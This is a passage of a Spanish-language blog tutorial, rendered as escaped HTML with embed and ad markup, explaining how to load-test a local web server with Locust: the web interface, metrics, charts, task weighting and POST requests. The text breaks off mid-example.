553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locust&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras ejecutarlo tendremos un servidor corriendo en &lt;em&gt;http://localhost:8089/&lt;/em&gt;. Si entramos veremos una pantalla como esta:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PantallaInicialLocust.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PantallaInicialLocust.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla inicial locust&#34; width=&#34;534&#34; height=&#34;641&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Aquí colocamos, en orden, el número de usuarios totales, la velocidad a la que locust creará usuarios por segundo, y el host a testear. Llenamos los datos, yo usaré 200 usuarios, 2 usuarios creados por segundos y http://localhost:1323, que dirige a un servidor web local.&lt;/p&gt;&#xA;&lt;p&gt;Presionamos el botón &amp;ldquo;start swarming&amp;rdquo; y locust se encargará del resto, incrementando el número de usuarios paulatinamente.&lt;/p&gt;&#xA;&lt;p&gt;Observa el monitoreo en tiempo real. Para detenerlo presiona el botón stop de la esquina superior derecha.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/MonitoreoTiempoRealLocust.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/MonitoreoTiempoRealLocust.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Locust soporta monitoreo en tiempo real&#34; width=&#34;1915&#34; height=&#34;598&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;metricas-en-locust&#34;&gt;Métricas en locust&lt;/h2&gt;&#xA;&lt;p&gt;La pestaña de estadísticas nos nuestra información la siguiente información.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/EstadisticasLocust.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/EstadisticasLocust.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Estadísticas en Locust&#34; width=&#34;1805&#34; height=&#34;228&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tipo de petición&lt;/li&gt;&#xA;&lt;li&gt;Nombre de la ruta&lt;/li&gt;&#xA;&lt;li&gt;Número de peticiones&lt;/li&gt;&#xA;&lt;li&gt;Número de fallos&lt;/li&gt;&#xA;&lt;li&gt;El tiempo de respuesta medio&lt;/li&gt;&#xA;&lt;li&gt;El tiempo de respuesta para el percentil 90,&lt;/li&gt;&#xA;&lt;li&gt;Sus valores promedio, mínimo y el máximo&lt;/li&gt;&#xA;&lt;li&gt;Tamaño de respuesta&lt;/li&gt;&#xA;&lt;li&gt;Las peticiones por segundo&lt;/li&gt;&#xA;&lt;li&gt;Fallos actuales&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;graficos-en-locust&#34;&gt;Gráficos en locust&lt;/h2&gt;&#xA;&lt;p&gt;Cuando detengamos el test, tendremos gráficos descargables en la pestaña charts.&lt;/p&gt;&#xA;&lt;p&gt;El primero con el número de peticiones por segundo en el eje de las Y.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PeticionesPorSegundo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PeticionesPorSegundo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Peticiones totales por segundo&#34; width=&#34;1778&#34; height=&#34;348&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El segundo con el tiempo de respuesta en el eje de las Y.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/TiempoDeRespuesta.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/TiempoDeRespuesta.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tiempo de respuesta&#34; width=&#34;1778&#34; height=&#34;348&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Por último, el tercero, con el número de usuarios en el eje de las Y.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/NumeroDeUsuarios.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/NumeroDeUsuarios.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Número de usuarios&#34; width=&#34;1778&#34; height=&#34;348&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;anadir-mas-peticiones-por-usuario&#34;&gt;Añadir más peticiones por usuario&lt;/h2&gt;&#xA;&lt;p&gt;Podemos crear un comportamiento personalizado para nuestros usuarios agregando más acciones del usuario haciendo más peticiones get por medio del objeto &lt;em&gt;client&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/about&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto le indica a locust que cada usuario realizará una petición a la ruta raiz y, posteriormente, una petición a la ruta &lt;em&gt;/about&lt;/em&gt;. Y así podemos agregar tantas peticiones por usuario como querramos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;agregando-usuarios-con-comportamientos-personalizados-en-locust&#34;&gt;Agregando usuarios con comportamientos personalizados en locust&lt;/h2&gt;&#xA;&lt;p&gt;Como ya sabes, no podemos esperar que cada usuario vaya primero a home y luego a la sección &lt;em&gt;about&lt;/em&gt; (o cualquier otra), los usuarios reales no se comportan así. Cada función decorada con @task representa un comportamiento diferente, por lo que si agregamos más funciones decoradas tendremos más comportamientos disponibles.&lt;/p&gt;&#xA;&lt;p&gt;Al momento de crear un usuario, Locust lo asignará al comportamiento de una única función decorada con @task. ¿Cómo decide a a cual? Al azar, con el mismo peso para cada función; si hay dos funciones decoradas con @task la mitad de los usuarios generador por locust se irán a una tarea y la otra mitad a la otra.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client,get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/about&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_about&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/feed&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cuando se crea un usuario tendrá 50% de probabilidades de ser asignado a uno de estos dos comportamientos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visita home (/) y posteriormente visita la sección about&lt;/li&gt;&#xA;&lt;li&gt;Visita la sección feed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;asignando-diferentes-pesos&#34;&gt;Asignando diferentes pesos&lt;/h3&gt;&#xA;&lt;p&gt;¿Pero y si sabemos que el triple de nuestro tráfico va a feed en lugar de a home?&lt;/p&gt;&#xA;&lt;p&gt;Si le pasamos un número como argumento al decorador @task, lo usará como una ponderación para cargar el tráfico en proporción al valor que le indiquemos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client,get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/about&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_about&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/feed&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora los usuarios creados también se redirigirán a &lt;em&gt;/feed&lt;/em&gt;, y no solo eso, sino que cada usuario que se genere tiene el triple de probabilidades de irse a &lt;em&gt;/feed&lt;/em&gt;, por lo que esa ruta recibirá más tráfico.&lt;/p&gt;&#xA;&lt;h2 id=&#34;peticiones-post-en-locust&#34;&gt;Peticiones POST en locust&lt;/h2&gt;&#xA;&lt;p&gt;¿Y las peticiones POST? Pues locust también permite realizar peticiones POST, basta con usar el método post de &lt;em&gt;client&lt;/em&gt; en lugar de get&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, 